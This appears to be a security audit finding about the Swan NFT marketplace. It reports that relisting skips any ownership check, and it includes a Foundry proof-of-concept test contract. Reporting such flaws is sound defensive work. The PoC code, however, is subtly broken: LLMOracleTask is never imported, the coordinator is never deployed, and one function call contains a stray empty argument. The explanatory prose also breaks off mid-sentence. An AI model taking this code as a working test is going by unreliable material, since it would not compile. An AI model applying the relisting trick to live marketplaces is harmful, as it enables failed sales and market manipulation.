The Swan protocol's relist mechanism allows sellers to relist NFTs they no longer own, leading to failed purchases and potential market manipulation, due to lack of ownership validation during relisting.
The issue stems from treating listing rights as independent from NFT ownership, while the actual transfer of the NFT is required for the purchase to complete. This creates a situation where:
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {Swan} from "../contracts/swan/Swan.sol";
import {SwanAsset} from "../contracts/swan/SwanAsset.sol";
import {BuyerAgent} from "../contracts/swan/BuyerAgent.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {LLMOracleCoordinator} from "../contracts/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry} from "../contracts/llm/LLMOracleRegistry.sol";
contract SellRelistTest is Test {
Swan swan;
ERC20 token;
BuyerAgent buyerAgent;
LLMOracleCoordinator coordinator;
LLMOracleRegistry registry;
address seller = makeAddr("seller");
address buyer = makeAddr("buyer");
address newOwner = makeAddr("newOwner");
uint256 constant PRICE = 1 ether;
uint96 constant ROYALTY_FEE = 1;
uint256 constant AMOUNT_PER_ROUND = 2 ether;
function setUp() public {
token = new ERC20("Test Token", "TEST");
Swan.SwanMarketParameters memory params = Swan.SwanMarketParameters({
withdrawInterval: 30 minutes,
sellInterval: 60 minutes,
buyInterval: 10 minutes,
platformFee: 1,
maxAssetCount: 5,
timestamp: block.timestamp
});
LLMOracleTask.LLMOracleTaskParameters memory oracleParams = LLMOracleTask.LLMOracleTaskParameters({
difficulty: 1,
numGenerations: 1,
numValidations: 1
});
swan = new Swan();
swan.initialize(params, oracleParams, address(coordinator), address(token), );
buyerAgent = swan.createBuyer(
"Test Buyer",
"Test Description",
ROYALTY_FEE,
AMOUNT_PER_ROUND
);
deal(address(token), seller, 10 ether);
deal(address(token), buyer, 10 ether);
vm.startPrank(seller);
token.approve(address(swan), type(uint256).max);
vm.stopPrank();
}
function test_RelistAfterTransfer() public {
vm.startPrank(seller);
string memory name = "TEST NFT";
string memory symbol = "TNFT";
bytes memory desc = "Test Description";
swan.list(name, symbol, desc, PRICE, address(buyerAgent));
address[] memory assets = swan.getListedAssets(address(buyerAgent), 0);
address assetAddr = assets[0];
SwanAsset asset = SwanAsset(assetAddr);
asset.transferFrom(seller, newOwner, 1);
assertEq(asset.ownerOf(1), newOwner);
vm.warp(block.timestamp + 100 minutes);
swan.relist(assetAddr, address(buyerAgent), PRICE);
Swan.AssetListing memory listing = swan.getListing(assetAddr);
assertEq(listing.seller, seller);
assertEq(uint(listing.status), uint(Swan.AssetStatus.Listed));
assertEq(listing.price, PRICE);
vm.stopPrank();
}
function test_PurchaseFailsAfterRelistWithoutOwnership() public {
vm.startPrank(seller);
string memory name = "TEST NFT";
string memory symbol = "TNFT";
bytes memory desc = "Test Description";
swan.list(name, symbol, desc, PRICE, address(buyerAgent));
address[] memory assets = swan.getListedAssets(address(buyerAgent), 0);
address assetAddr = assets[0];
SwanAsset asset = SwanAsset(assetAddr);
asset.transferFrom(seller, newOwner, 1);
vm.warp(block.timestamp + 100 minutes);
swan.relist(assetAddr, address(buyerAgent), PRICE);
vm.stopPrank();
vm.warp(block.timestamp + 60 minutes);
vm.startPrank(address(buyerAgent));
vm.expectRevert();
buyerAgent.purchase();
vm.stopPrank();
}
}